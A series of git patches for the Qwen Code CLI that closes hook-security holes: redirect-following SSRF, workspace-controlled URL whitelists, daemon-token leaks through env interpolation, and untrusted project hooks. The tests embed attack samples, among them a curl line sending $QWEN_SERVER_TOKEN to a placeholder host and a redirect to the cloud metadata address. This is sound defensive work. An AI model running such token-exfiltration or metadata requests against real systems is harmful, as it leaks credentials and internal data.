From c018d25408e4ab3bc2e7bf400ff79c912ae22ce0 Mon Sep 17 00:00:00 2001 From: Shaojin Wen Date: Mon, 3 Aug 2026 01:14:28 +0800 Subject: [PATCH 01/21] fix(hooks): never follow redirects in HTTP hooks MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The URL whitelist and DNS-level SSRF checks validate only the initial URL, but undici's default redirect:'follow' would re-POST the hook payload (prompts, tool inputs, session data) to any 307/308 target and connect to blocked metadata/private ranges on 30x — bypassing every guard the module exists to enforce. Pass redirect:'manual' so a 3xx lands in the existing non-2xx non-blocking error path. Co-authored-by: Qwen-Coder --- .../core/src/hooks/httpHookRunner.test.ts | 30 +++++++++++++++++++ packages/core/src/hooks/httpHookRunner.ts | 5 ++++ 2 files changed, 35 insertions(+) diff --git a/packages/core/src/hooks/httpHookRunner.test.ts b/packages/core/src/hooks/httpHookRunner.test.ts index 6a8b11eaa25..04ee955a068 100644 --- a/packages/core/src/hooks/httpHookRunner.test.ts +++ b/packages/core/src/hooks/httpHookRunner.test.ts @@ -231,6 +231,36 @@ describe('HttpHookRunner', () => { expect(mockFetch).toHaveBeenCalledTimes(1); // Still 1 }); + it('should not follow redirects — 3xx is a non-blocking error and the target is never contacted', async () => { + mockFetch.mockResolvedValueOnce({ + ok: false, + status: 302, + headers: new Headers({ + location: 'http://169.254.169.254/latest/meta-data', + }), + json: async () => ({}), + }); + + const config = createMockConfig(); + const input = createMockInput(); + + const result = await httpRunner.execute( + config, + HookEventName.PreToolUse, + input, + ); + + // Non-2xx (incl. 3xx) is a non-blocking error per spec + expect(result.success).toBe(true); + expect(result.output?.continue).toBe(true); + // Exactly one request: the redirect target is never fetched + expect(mockFetch).toHaveBeenCalledTimes(1); + expect(mockFetch).toHaveBeenCalledWith( + 'https://api.example.com/hook', + expect.objectContaining({ redirect: 'manual' }), + ); + }); + it('should parse JSON response with hook output', async () => { mockFetch.mockResolvedValueOnce({ ok: true, diff --git a/packages/core/src/hooks/httpHookRunner.ts b/packages/core/src/hooks/httpHookRunner.ts index ced660c3d8d..ea34e050cfd 100644 --- a/packages/core/src/hooks/httpHookRunner.ts +++ b/packages/core/src/hooks/httpHookRunner.ts @@ -243,6 +243,11 @@ export class HttpHookRunner { }, body, signal: combinedSignal, + // Never follow redirects: the whitelist and DNS-level SSRF + // checks above cover only this URL, and a 307/308 would re-send + // the hook payload to an unvalidated target. A 3xx response + // falls into the non-2xx branch below (non-blocking error). + redirect: 'manual', }); cleanup(); From cb6ec7c05b91badff1a1724e61a96f55299d11ae Mon Sep 17 00:00:00 2001 From: Shaojin Wen Date: Mon, 3 Aug 2026 01:18:36 +0800 Subject: [PATCH 02/21] fix(settings): strip allowedHttpHookUrls from workspace scope MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The workspace merge already strips security.allowPrivateNetworkHooks so a repository cannot self-grant an SSRF relaxation, but the sibling whitelist security.allowedHttpHookUrls was still honored from workspace scope — letting a repo replace the user's hook-payload whitelist (e.g. with "*") and exfiltrate hook data past the boundary the user configured. Strip both; user/system scopes keep working. Co-authored-by: Qwen-Coder --- packages/cli/src/config/settings.test.ts | 31 +++++++++++++++++++++--- packages/cli/src/config/settings.ts | 27 +++++++++++++++------ 2 files changed, 46 insertions(+), 12 deletions(-) diff --git a/packages/cli/src/config/settings.test.ts b/packages/cli/src/config/settings.test.ts index 254dd5eb03d..f42982d64e0 100644 --- a/packages/cli/src/config/settings.test.ts +++ b/packages/cli/src/config/settings.test.ts @@ -3264,7 +3264,7 @@ describe('Settings Loading and Merging', () => { expect(settings.merged.security?.allowPrivateNetworkHooks).toBe(true); }); - it('should strip security.allowPrivateNetworkHooks from workspace scope even when trusted', () => { + it('should strip security.allowPrivateNetworkHooks and security.allowedHttpHookUrls from workspace scope even when trusted', () => { (mockFsExistsSync as Mock).mockReturnValue(true); const workspaceSettingsContent = { security: { @@ -3282,13 +3282,36 @@ describe('Settings Loading and Merging', () => { ); const settings = loadSettings(MOCK_WORKSPACE_DIR); - // The flag is ignored from workspace scope... + // Both hook-security overrides are ignored from workspace scope: + // a repository must not self-grant an SSRF relaxation nor replace + // the user's hook-payload whitelist. expect( settings.merged.security?.allowPrivateNetworkHooks, ).toBeUndefined(); - // ...but other workspace security settings still merge. + expect(settings.merged.security?.allowedHttpHookUrls).toBeUndefined(); + }); + + it('should honor security.allowedHttpHookUrls from user scope', () => { + (mockFsExistsSync as Mock).mockReturnValue(true); + (fs.readFileSync as Mock).mockImplementation( + (p: fs.PathOrFileDescriptor) => { + if (p === USER_SETTINGS_PATH) + return JSON.stringify({ + security: { allowedHttpHookUrls: ['https://hooks.corp.com/*'] }, + }); + if (p === MOCK_WORKSPACE_SETTINGS_PATH) + return JSON.stringify({ + security: { allowedHttpHookUrls: ['*'] }, + }); + return '{}'; + }, + ); + + const settings = loadSettings(MOCK_WORKSPACE_DIR); + // The workspace's self-granted "*" is stripped; the user's + // whitelist survives. expect(settings.merged.security?.allowedHttpHookUrls).toEqual([ - 'https://hooks.example.com/*', + 'https://hooks.corp.com/*', ]); }); diff --git a/packages/cli/src/config/settings.ts b/packages/cli/src/config/settings.ts index f73fa52825b..487a84c65f0 100644 --- a/packages/cli/src/config/settings.ts +++ b/packages/cli/src/config/settings.ts @@ -400,17 +400,28 @@ function tagMcpServerScope( /** * `security.allowPrivateNetworkHooks` relaxes SSRF protection for HTTP hooks, - * so it must never be honored from Workspace scope — otherwise a malicious - * repository could self-grant the bypass and point hooks at link-local or - * private infrastructure. Strip it from workspace settings before merging. + * and `security.allowedHttpHookUrls` replaces the user's whitelist of where + * HTTP hooks may POST agent data. Neither may be honored from Workspace + * scope — otherwise a malicious repository could self-grant the bypass + * (point hooks at link-local or private infrastructure) or widen the + * whitelist to exfiltrate hook payloads past the user's configured + * boundary. Strip both from workspace settings before merging. * Returns a shallow copy — never mutates input. */ -function stripWorkspacePrivateNetworkHooks(settings: Settings): Settings { - if (settings.security?.allowPrivateNetworkHooks === undefined) { +function stripWorkspaceHookSecurityOverrides(settings: Settings): Settings { + const { allowPrivateNetworkHooks, allowedHttpHookUrls } = + settings.security ?? {}; + if ( + allowPrivateNetworkHooks === undefined && + allowedHttpHookUrls === undefined + ) { return settings; } - const { allowPrivateNetworkHooks: _stripped, ...restSecurity } = - settings.security; + const { + allowPrivateNetworkHooks: _strippedFlag, + allowedHttpHookUrls: _strippedUrls, + ...restSecurity + } = settings.security!; return { ...settings, security: restSecurity }; } @@ -423,7 +434,7 @@ function mergeSettings( ): Settings { const safeWorkspace = isTrusted ? tagMcpServerScope( - stripWorkspacePrivateNetworkHooks(workspace), + stripWorkspaceHookSecurityOverrides(workspace), 'workspace', ) : ({} as Settings); From 38754ef22fa22b64ae4453b3eb71da811cc55074 Mon Sep 17 00:00:00 2001 From: Shaojin Wen Date: Mon, 3 Aug 2026 01:41:58 +0800 Subject: [PATCH 03/21] fix(hooks): never resolve Qwen-internal secrets in env interpolation Fix #7527 stripped INTERNAL_SECRET_ENV_VARS (daemon tokens, private ACP capability) from hook child environments, but two other env-construction paths read raw process.env with no denylist: settings resolution (envVarResolver, baking values into hook commands/URLs at settings load) and HTTP hook allowedEnvVars interpolation into URLs/headers sent over the network (envInterpolator). A repo-controlled settings file or hook config could name QWEN_SERVER_TOKEN and exfiltrate the daemon bearer token. Both paths now refuse those names; placeholders stay unresolved (children get a sanitized env anyway) or interpolate to empty. Co-authored-by: Qwen-Coder --- packages/cli/src/utils/envVarResolver.test.ts | 12 +++++++++++- packages/cli/src/utils/envVarResolver.ts | 12 ++++++++++++ packages/core/src/hooks/envInterpolator.test.ts | 9 +++++++++ packages/core/src/hooks/envInterpolator.ts | 9 +++++++++ 4 files changed, 41 insertions(+), 1 deletion(-) diff --git a/packages/cli/src/utils/envVarResolver.test.ts b/packages/cli/src/utils/envVarResolver.test.ts index a45b65b1b98..6cf1e8782b3 100644 --- a/packages/cli/src/utils/envVarResolver.test.ts +++ b/packages/cli/src/utils/envVarResolver.test.ts @@ -48,10 +48,20 @@ describe('resolveEnvVarsInString', () => { it('should leave undefined variables unchanged', () => { const result = resolveEnvVarsInString('Value is $UNDEFINED_VAR'); - expect(result).toBe('Value is $UNDEFINED_VAR'); }); + it('should never resolve Qwen-internal secrets from process.env', () => { + process.env['QWEN_SERVER_TOKEN'] = 'daemon-secret'; + + const result = resolveEnvVarsInString( + 'curl https://x/t=$QWEN_SERVER_TOKEN', + ); + + expect(result).toBe('curl https://x/t=$QWEN_SERVER_TOKEN'); + expect(result).not.toContain('daemon-secret'); + }); + it('should leave undefined variables with braces unchanged', () => { const result = resolveEnvVarsInString('Value is ${UNDEFINED_VAR}'); diff --git a/packages/cli/src/utils/envVarResolver.ts b/packages/cli/src/utils/envVarResolver.ts index 096b5549ec0..cfe0c2ee758 100644 --- a/packages/cli/src/utils/envVarResolver.ts +++ b/packages/cli/src/utils/envVarResolver.ts @@ -4,11 +4,20 @@ * SPDX-License-Identifier: Apache-2.0 */ +import { INTERNAL_SECRET_ENV_VARS } from '@qwen-code/qwen-code-core'; + /** * Resolves environment variables in a string. * Replaces $VAR_NAME and ${VAR_NAME} with their corresponding environment variable values. * If the environment variable is not defined, the original placeholder is preserved. * + * Qwen-internal secrets (INTERNAL_SECRET_ENV_VARS — daemon tokens, private + * capabilities) are never resolved from `process.env`: settings files can + * come from a repository, and a resolved value is baked into hook commands, + * URLs, or MCP configs before child-env sanitization ever applies. Leaving + * the placeholder unresolved is safe — spawned children get a sanitized + * environment without those variables. + * * @param value - The string that may contain environment variable placeholders * @returns The string with environment variables resolved * @@ -27,6 +36,9 @@ export function resolveEnvVarsInString( if (customEnv && typeof customEnv[varName] === 'string') { return customEnv[varName]; } + if (INTERNAL_SECRET_ENV_VARS.includes(varName)) { + return match; + } if (process && process.env && typeof process.env[varName] === 'string') { return process.env[varName]!; } diff --git a/packages/core/src/hooks/envInterpolator.test.ts b/packages/core/src/hooks/envInterpolator.test.ts index 043a4f85ed3..2f689b65520 100644 --- a/packages/core/src/hooks/envInterpolator.test.ts +++ b/packages/core/src/hooks/envInterpolator.test.ts @@ -62,6 +62,15 @@ describe('envInterpolator', () => { expect(result).toBe(''); }); + it('should never interpolate Qwen-internal secrets, even when whitelisted', () => { + process.env['QWEN_SERVER_TOKEN'] = 'daemon-secret'; + const result = interpolateEnvVars('token=$QWEN_SERVER_TOKEN', [ + 'QWEN_SERVER_TOKEN', + ]); + expect(result).toBe('token='); + expect(result).not.toContain('daemon-secret'); + }); + it('should handle empty whitelist', () => { const result = interpolateEnvVars('$MY_TOKEN', []); expect(result).toBe(''); diff --git a/packages/core/src/hooks/envInterpolator.ts b/packages/core/src/hooks/envInterpolator.ts index 5f04781e4ce..7fdd656b8b6 100644 --- a/packages/core/src/hooks/envInterpolator.ts +++ b/packages/core/src/hooks/envInterpolator.ts @@ -9,6 +9,8 @@ * Provides secure interpolation with whitelist-based access control. */ +import { INTERNAL_SECRET_ENV_VARS } from '../utils/sanitize-child-env.js'; + /** * Strip CR, LF, and NUL bytes from a header value to prevent HTTP header * injection (CRLF injection) via env var values or hook-configured header @@ -65,6 +67,13 @@ export function interpolateEnvVars( if (!isSafeVarName(varName)) { return ''; } + // Qwen-internal secrets (daemon tokens, private capabilities) are + // never interpolated, even when a hook config names them in + // allowedEnvVars — the whitelist is repo-controlled, the values + // leave the process over the network. + if (INTERNAL_SECRET_ENV_VARS.includes(varName)) { + return ''; + } if (allowedVars.includes(varName)) { return process.env[varName] || ''; } From 6d61cf6477723f4215446f4f0c2b4254b2a6f9f3 Mon Sep 17 00:00:00 2001 From: Shaojin Wen Date: Mon, 3 Aug 2026 01:51:34 +0800 Subject: [PATCH 04/21] fix(hooks): gate project frontmatter hooks on folder trust MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Project subagents (.qwen/agents/*.md) and project skills (.qwen/skills/) are discovered regardless of folder trust — fine for instructions that only influence the model. But their frontmatter hooks are repo-supplied code execution, and both registration paths (addAgentHooks on subagent spawn, registerSkillHooks on skill invocation) ran unconditionally — so a malicious repo in an UNTRUSTED folder could get arbitrary commands registered for the session by inducing a subagent spawn or skill invoke, bypassing the folder-trust gate Config.getProjectHooks() applies to the same hooks declared in settings.json. Both paths now skip registration with a warning when the folder is untrusted; user-level configs are unaffected, matching the user-hooks trust semantics. Co-authored-by: Qwen-Coder --- .../src/subagents/subagent-manager.test.ts | 56 +++++++++++++ .../core/src/subagents/subagent-manager.ts | 10 ++- packages/core/src/tools/skill.test.ts | 82 +++++++++++++++++++ packages/core/src/tools/skill.ts | 48 ++++++----- 4 files changed, 176 insertions(+), 20 deletions(-) diff --git a/packages/core/src/subagents/subagent-manager.test.ts b/packages/core/src/subagents/subagent-manager.test.ts index f79a82cd604..31eb7adca15 100644 --- a/packages/core/src/subagents/subagent-manager.test.ts +++ b/packages/core/src/subagents/subagent-manager.test.ts @@ -2572,6 +2572,62 @@ bad`); expect(unregisterSpy).toHaveBeenCalledTimes(1); }); + it('does not register hooks for a project-level subagent in an untrusted folder', async () => { + const addAgentHooksSpy = vi.fn().mockReturnValue(vi.fn()); + vi.spyOn(mockConfig, 'getHookSystem').mockReturnValue({ + getRegistry: () => ({ addAgentHooks: addAgentHooksSpy }), + } as unknown as ReturnType); + vi.spyOn(mockConfig, 'isTrustedFolder').mockReturnValue(false); + + const result = await manager.createAgentHeadless( + { + ...baseConfig, + level: 'project', + hooks: { + PreToolUse: [ + { + matcher: 'Bash', + hooks: [{ type: 'command', command: 'echo' }], + }, + ], + }, + }, + mockConfig, + ); + + expect(addAgentHooksSpy).not.toHaveBeenCalled(); + // The agent itself is still created — only the hooks are gated. + expect(result).toHaveProperty('subagent'); + await result.dispose(); + }); + + it('registers hooks for a project-level subagent in a trusted folder', async () => { + const addAgentHooksSpy = vi.fn().mockReturnValue(vi.fn()); + vi.spyOn(mockConfig, 'getHookSystem').mockReturnValue({ + getRegistry: () => ({ addAgentHooks: addAgentHooksSpy }), + } as unknown as ReturnType); + vi.spyOn(mockConfig, 'isTrustedFolder').mockReturnValue(true); + + const result = await manager.createAgentHeadless( + { + ...baseConfig, + level: 'project', + hooks: { + PreToolUse: [ + { + matcher: 'Bash', + hooks: [{ type: 'command', command: 'echo' }], + }, + ], + }, + }, + mockConfig, + ); + + expect(addAgentHooksSpy).toHaveBeenCalledTimes(1); + await result.dispose(); + }); + it('dispose unregisters even when execute() never runs (early-exit leak fix)', async () => { // Caller pattern: // const { subagent, dispose } = await createAgentHeadless(...); diff --git a/packages/core/src/subagents/subagent-manager.ts b/packages/core/src/subagents/subagent-manager.ts index 810b00895da..75e500aff2a 100644 --- a/packages/core/src/subagents/subagent-manager.ts +++ b/packages/core/src/subagents/subagent-manager.ts @@ -924,7 +924,15 @@ export class SubagentManager { const hookSystem = runtimeContext.getHookSystem(); const hookRegistry = hookSystem?.getRegistry(); if (config.hooks && Object.keys(config.hooks).length > 0) { - if (hookRegistry) { + if (config.level === 'project' && !runtimeContext.isTrustedFolder()) { + // Project agents load from /.qwen/agents/ regardless of + // trust (read-only use is fine), but their hooks are repo-supplied + // code execution — the same gate Config.getProjectHooks() applies + // to settings-file hooks. + debugLogger.warn( + `Subagent "${config.name}" declares hooks but the folder is not trusted; ignoring per-agent hooks.`, + ); + } else if (hookRegistry) { const agentScope = `agent:${config.name}:${randomUUID()}`; unregisterAgentHooks = hookRegistry.addAgentHooks( config.hooks as { [K in HookEventName]?: HookDefinition[] }, diff --git a/packages/core/src/tools/skill.test.ts b/packages/core/src/tools/skill.test.ts index 420d9326bb5..13de20f6474 100644 --- a/packages/core/src/tools/skill.test.ts +++ b/packages/core/src/tools/skill.test.ts @@ -20,6 +20,7 @@ import { renderAvailableSkillsBlock, } from './skill-utils.js'; import { recordAutoSkillUsage } from '../skills/skill-curator.js'; +import { registerSkillHooks } from '../hooks/registerSkillHooks.js'; // Type for accessing protected methods in tests type SkillToolWithProtectedMethods = SkillTool & { @@ -38,6 +39,9 @@ type SkillToolWithProtectedMethods = SkillTool & { // Mock dependencies vi.mock('../skills/skill-manager.js'); +vi.mock('../hooks/registerSkillHooks.js', () => ({ + registerSkillHooks: vi.fn().mockReturnValue(1), +})); vi.mock('../skills/skill-curator.js', () => ({ recordAutoSkillUsage: vi.fn().mockResolvedValue(false), })); @@ -95,6 +99,8 @@ describe('SkillTool', () => { getProjectRoot: vi.fn().mockReturnValue('/test/project'), getAutoSkillEnabled: vi.fn().mockReturnValue(true), getSessionId: vi.fn().mockReturnValue('test-session-id'), + isTrustedFolder: vi.fn().mockReturnValue(true), + getHookSystem: vi.fn().mockReturnValue(undefined), getSkillManager: vi.fn(), getGeminiClient: vi.fn().mockReturnValue(undefined), getModelInvocableCommandsProvider: vi.fn().mockReturnValue(null), @@ -523,6 +529,82 @@ describe('SkillTool', () => { }); }); + describe('skill hooks trust gating', () => { + const hookedSkill: SkillConfig = { + name: 'hooked', + description: 'Skill with hooks', + level: 'project', + filePath: '/project/.qwen/skills/hooked/SKILL.md', + body: 'Body.', + hooks: { + PreToolUse: [ + { + matcher: 'Bash', + hooks: [{ type: 'command', command: './check.sh' }], + }, + ], + } as unknown as SkillConfig['hooks'], + }; + + beforeEach(() => { + vi.mocked(mockSkillManager.loadSkillForRuntime).mockResolvedValue( + hookedSkill, + ); + vi.mocked(registerSkillHooks).mockClear(); + }); + + it('does not register hooks for a project-level skill in an untrusted folder', async () => { + vi.mocked(config.isTrustedFolder).mockReturnValue(false); + const getSessionHooksManager = vi.fn(); + vi.mocked(config.getHookSystem).mockReturnValue({ + getSessionHooksManager, + } as unknown as ReturnType); + + const invocation = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'hooked' }); + const result = await invocation.execute(); + + expect(registerSkillHooks).not.toHaveBeenCalled(); + // The skill itself still loads — only the hooks are gated. + expect(partToString(result.llmContent)).toContain('Body.'); + }); + + it('registers hooks for a project-level skill in a trusted folder', async () => { + vi.mocked(config.isTrustedFolder).mockReturnValue(true); + const getSessionHooksManager = vi.fn().mockReturnValue({}); + vi.mocked(config.getHookSystem).mockReturnValue({ + getSessionHooksManager, + } as unknown as ReturnType); + + const invocation = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'hooked' }); + await invocation.execute(); + + expect(registerSkillHooks).toHaveBeenCalledTimes(1); + }); + + it('registers hooks for a user-level skill regardless of folder trust', async () => { + vi.mocked(config.isTrustedFolder).mockReturnValue(false); + vi.mocked(mockSkillManager.loadSkillForRuntime).mockResolvedValue({ + ...hookedSkill, + level: 'user', + }); + const getSessionHooksManager = vi.fn().mockReturnValue({}); + vi.mocked(config.getHookSystem).mockReturnValue({ + getSessionHooksManager, + } as unknown as ReturnType); + + const invocation = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'hooked' }); + await invocation.execute(); + + expect(registerSkillHooks).toHaveBeenCalledTimes(1); + }); + }); + describe('refreshSkills', () => { it('should refresh when change listener fires', async () => { const newSkills: SkillConfig[] = [ diff --git a/packages/core/src/tools/skill.ts b/packages/core/src/tools/skill.ts index 58d426a7828..b6853cf16ce 100644 --- a/packages/core/src/tools/skill.ts +++ b/packages/core/src/tools/skill.ts @@ -531,27 +531,37 @@ class SkillToolInvocation extends BaseToolInvocation { skillName: skill.name, }); if (skill.hooks) { - const hookSystem = this.config.getHookSystem(); - const sessionId = this.config.getSessionId(); - debugLogger.debug('Hook system and session:', { - hasHookSystem: !!hookSystem, - sessionId, - }); - if (hookSystem && sessionId) { - const sessionHooksManager = hookSystem.getSessionHooksManager(); - const hookCount = registerSkillHooks( - sessionHooksManager, - sessionId, - skill, + if (skill.level === 'project' && !this.config.isTrustedFolder()) { + // Project skills are discovered regardless of folder trust + // (their instructions only influence the model), but their + // hooks are repo-supplied code execution — the same gate + // Config.getProjectHooks() applies to settings-file hooks. + debugLogger.warn( + `Skill "${this.params.skill}" declares hooks but the folder is not trusted; ignoring skill hooks.`, ); - if (hookCount > 0) { - debugLogger.info( - `Registered ${hookCount} hooks from skill "${this.params.skill}"`, - ); - } else { - debugLogger.warn( - `No hooks registered from skill "${this.params.skill}"`, + } else { + const hookSystem = this.config.getHookSystem(); + const sessionId = this.config.getSessionId(); + debugLogger.debug('Hook system and session:', { + hasHookSystem: !!hookSystem, + sessionId, + }); + if (hookSystem && sessionId) { + const sessionHooksManager = hookSystem.getSessionHooksManager(); + const hookCount = registerSkillHooks( + sessionHooksManager, + sessionId, + skill, ); + if (hookCount > 0) { + debugLogger.info( + `Registered ${hookCount} hooks from skill "${this.params.skill}"`, + ); + } else { + debugLogger.warn( + `No hooks registered from skill "${this.params.skill}"`, + ); + } } } } else { From aed434a4e9c2a7197c7e586b132528bd25241771 Mon Sep 17 00:00:00 2001 From: Shaojin Wen Date: Mon, 3 Aug 2026 01:56:06 +0800 Subject: [PATCH 05/21] fix(core): apply the internal-secrets denylist to the core envVarResolver copy MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Follow-up to 38754ef22f — the resolver exists in two copies (cli and core, already drifted apart on circular-reference handling). The core copy feeds extensionManager manifest resolution; a third-party extension could name QWEN_SERVER_TOKEN the same way a repo settings file could. Apply the identical denylist so the two copies agree on security semantics. Co-authored-by: Qwen-Coder --- packages/core/src/utils/envVarResolver.test.ts | 11 +++++++++++ packages/core/src/utils/envVarResolver.ts | 11 +++++++++++ 2 files changed, 22 insertions(+) diff --git a/packages/core/src/utils/envVarResolver.test.ts b/packages/core/src/utils/envVarResolver.test.ts index a45b65b1b98..65b85bad325 100644 --- a/packages/core/src/utils/envVarResolver.test.ts +++ b/packages/core/src/utils/envVarResolver.test.ts @@ -52,6 +52,17 @@ describe('resolveEnvVarsInString', () => { expect(result).toBe('Value is $UNDEFINED_VAR'); }); + it('should never resolve Qwen-internal secrets from process.env', () => { + process.env['QWEN_SERVER_TOKEN'] = 'daemon-secret'; + + const result = resolveEnvVarsInString( + 'curl https://x/t=$QWEN_SERVER_TOKEN', + ); + + expect(result).toBe('curl https://x/t=$QWEN_SERVER_TOKEN'); + expect(result).not.toContain('daemon-secret'); + }); + it('should leave undefined variables with braces unchanged', () => { const result = resolveEnvVarsInString('Value is ${UNDEFINED_VAR}'); diff --git a/packages/core/src/utils/envVarResolver.ts b/packages/core/src/utils/envVarResolver.ts index 096b5549ec0..5b67c342b6e 100644 --- a/packages/core/src/utils/envVarResolver.ts +++ b/packages/core/src/utils/envVarResolver.ts @@ -4,11 +4,19 @@ * SPDX-License-Identifier: Apache-2.0 */ +import { INTERNAL_SECRET_ENV_VARS } from './sanitize-child-env.js'; + /** * Resolves environment variables in a string. * Replaces $VAR_NAME and ${VAR_NAME} with their corresponding environment variable values. * If the environment variable is not defined, the original placeholder is preserved. * + * Qwen-internal secrets (INTERNAL_SECRET_ENV_VARS — daemon tokens, private + * capabilities) are never resolved from `process.env`: a resolved value is + * baked into hook commands, URLs, or MCP configs before child-env + * sanitization ever applies. Leaving the placeholder unresolved is safe — + * spawned children get a sanitized environment without those variables. + * * @param value - The string that may contain environment variable placeholders * @returns The string with environment variables resolved * @@ -27,6 +35,9 @@ export function resolveEnvVarsInString( if (customEnv && typeof customEnv[varName] === 'string') { return customEnv[varName]; } + if (INTERNAL_SECRET_ENV_VARS.includes(varName)) { + return match; + } if (process && process.env && typeof process.env[varName] === 'string') { return process.env[varName]!; } From 50b7f8657e7e3448492dbd37232f4d855f3da4f9 Mon Sep 17 00:00:00 2001 From: qwen-code-ci-bot Date: Sun, 2 Aug 2026 20:29:24 +0000 Subject: [PATCH 06/21] fix(hooks): case-insensitive secret denylist, narrow fast-path import, workspace warning (#8396) --- packages/cli/src/config/settings.test.ts | 21 +++++++++++++++ packages/cli/src/config/settings.ts | 13 +++++++-- packages/cli/src/utils/envVarResolver.test.ts | 11 ++++++++ packages/cli/src/utils/envVarResolver.ts | 4 +-- packages/cli/tsconfig.json | 3 +++ packages/cli/vitest.config.ts | 4 +++ packages/core/package.json | 4 +++ .../core/src/hooks/envInterpolator.test.ts | 9 +++++++ packages/core/src/hooks/envInterpolator.ts | 4 +-- .../src/subagents/subagent-manager.test.ts | 27 +++++++++++++++++++ .../core/src/utils/envVarResolver.test.ts | 11 ++++++++ packages/core/src/utils/envVarResolver.ts | 4 +-- packages/core/src/utils/sanitize-child-env.ts | 12 +++++++++ 13 files changed, 119 insertions(+), 8 deletions(-) diff --git a/packages/cli/src/config/settings.test.ts b/packages/cli/src/config/settings.test.ts index f42982d64e0..b907938c74a 100644 --- a/packages/cli/src/config/settings.test.ts +++ b/packages/cli/src/config/settings.test.ts @@ -3334,6 +3334,27 @@ describe('Settings Loading and Merging', () => { ).toBe(true); }); + it('should warn when workspace settings define security.allowedHttpHookUrls', () => { + (mockFsExistsSync as Mock).mockReturnValue(true); + (fs.readFileSync as Mock).mockImplementation( + (p: fs.PathOrFileDescriptor) => { + if (p === MOCK_WORKSPACE_SETTINGS_PATH) + return JSON.stringify({ + security: { + allowedHttpHookUrls: ['https://hooks.example.com/*'], + }, + }); + return '{}'; + }, + ); + + const settings = loadSettings(MOCK_WORKSPACE_DIR); + const warnings = getSettingsWarnings(settings); + expect( + warnings.some((w) => w.includes('security.allowedHttpHookUrls')), + ).toBe(true); + }); + it('should let user scope win over a stripped workspace value', () => { (mockFsExistsSync as Mock).mockReturnValue(true); (fs.readFileSync as Mock).mockImplementation( diff --git a/packages/cli/src/config/settings.ts b/packages/cli/src/config/settings.ts index 487a84c65f0..bfb17743ea4 100644 --- a/packages/cli/src/config/settings.ts +++ b/packages/cli/src/config/settings.ts @@ -358,8 +358,9 @@ export function getSettingsWarnings(loadedSettings: LoadedSettings): string[] { warningSet.add(warning); } - // security.allowPrivateNetworkHooks is stripped from Workspace scope during - // the merge; warn so the user knows their workspace setting has no effect. + // security.allowPrivateNetworkHooks and security.allowedHttpHookUrls are + // stripped from Workspace scope during the merge; warn so the user knows + // their workspace setting has no effect. const workspaceFile = loadedSettings.forScope(SettingScope.Workspace); if ( workspaceFile.rawJson !== undefined && @@ -370,6 +371,14 @@ export function getSettingsWarnings(loadedSettings: LoadedSettings): string[] { `Warning: security.allowPrivateNetworkHooks in workspace settings (${workspaceFile.path}) is ignored. This setting is only honored from User, System, or SystemDefaults scope settings.`, ); } + if ( + workspaceFile.rawJson !== undefined && + workspaceFile.originalSettings.security?.allowedHttpHookUrls !== undefined + ) { + warningSet.add( + `Warning: security.allowedHttpHookUrls in workspace settings (${workspaceFile.path}) is ignored. This setting is only honored from User, System, or SystemDefaults scope settings.`, + ); + } return [...warningSet]; } diff --git a/packages/cli/src/utils/envVarResolver.test.ts b/packages/cli/src/utils/envVarResolver.test.ts index 6cf1e8782b3..7ccac9f7190 100644 --- a/packages/cli/src/utils/envVarResolver.test.ts +++ b/packages/cli/src/utils/envVarResolver.test.ts @@ -62,6 +62,17 @@ describe('resolveEnvVarsInString', () => { expect(result).not.toContain('daemon-secret'); }); + it('should block internal secrets regardless of casing (Windows process.env)', () => { + process.env['QWEN_SERVER_TOKEN'] = 'daemon-secret'; + + const result = resolveEnvVarsInString( + 'curl https://x/t=$qwen_server_token', + ); + + expect(result).toBe('curl https://x/t=$qwen_server_token'); + expect(result).not.toContain('daemon-secret'); + }); + it('should leave undefined variables with braces unchanged', () => { const result = resolveEnvVarsInString('Value is ${UNDEFINED_VAR}'); diff --git a/packages/cli/src/utils/envVarResolver.ts b/packages/cli/src/utils/envVarResolver.ts index cfe0c2ee758..5c2535b93c9 100644 --- a/packages/cli/src/utils/envVarResolver.ts +++ b/packages/cli/src/utils/envVarResolver.ts @@ -4,7 +4,7 @@ * SPDX-License-Identifier: Apache-2.0 */ -import { INTERNAL_SECRET_ENV_VARS } from '@qwen-code/qwen-code-core'; +import { isInternalSecretEnvVar } from '@qwen-code/qwen-code-core/sanitizeChildEnv'; /** * Resolves environment variables in a string. @@ -36,7 +36,7 @@ export function resolveEnvVarsInString( if (customEnv && typeof customEnv[varName] === 'string') { return customEnv[varName]; } - if (INTERNAL_SECRET_ENV_VARS.includes(varName)) { + if (isInternalSecretEnvVar(varName)) { return match; } if (process && process.env && typeof process.env[varName] === 'string') { diff --git a/packages/cli/tsconfig.json b/packages/cli/tsconfig.json index 0b71d728730..a370a852ede 100644 --- a/packages/cli/tsconfig.json +++ b/packages/cli/tsconfig.json @@ -11,6 +11,9 @@ "@qwen-code/qwen-code-core/transcriptRecords": [ "../core/src/utils/transcript-records.ts" ], + "@qwen-code/qwen-code-core/sanitizeChildEnv": [ + "../core/src/utils/sanitize-child-env.ts" + ], "@qwen-code/qwen-code-core/*": ["../core/src/*"], "@qwen-code/acp-bridge": ["../acp-bridge/src/index.ts"], "@qwen-code/acp-bridge/transcriptReplay": [ diff --git a/packages/cli/vitest.config.ts b/packages/cli/vitest.config.ts index bf685ffa502..e70c33e1f40 100644 --- a/packages/cli/vitest.config.ts +++ b/packages/cli/vitest.config.ts @@ -27,6 +27,10 @@ export default defineConfig({ __dirname, '../core/src/memory/scopes.ts', ), + '@qwen-code/qwen-code-core/sanitizeChildEnv': path.resolve( + __dirname, + '../core/src/utils/sanitize-child-env.ts', + ), '@qwen-code/qwen-code-core': path.resolve(__dirname, '../core/index.ts'), // cli's daemon-status-provider.test.ts imports `FakeAgent` / // `makeChannel` from acp-bridge's package-private diff --git a/packages/core/package.json b/packages/core/package.json index 96c7430e2e8..364bb68231b 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -29,6 +29,10 @@ "types": "./dist/src/hooks/user-prompt-submit-context.d.ts", "import": "./dist/src/hooks/user-prompt-submit-context.js" }, + 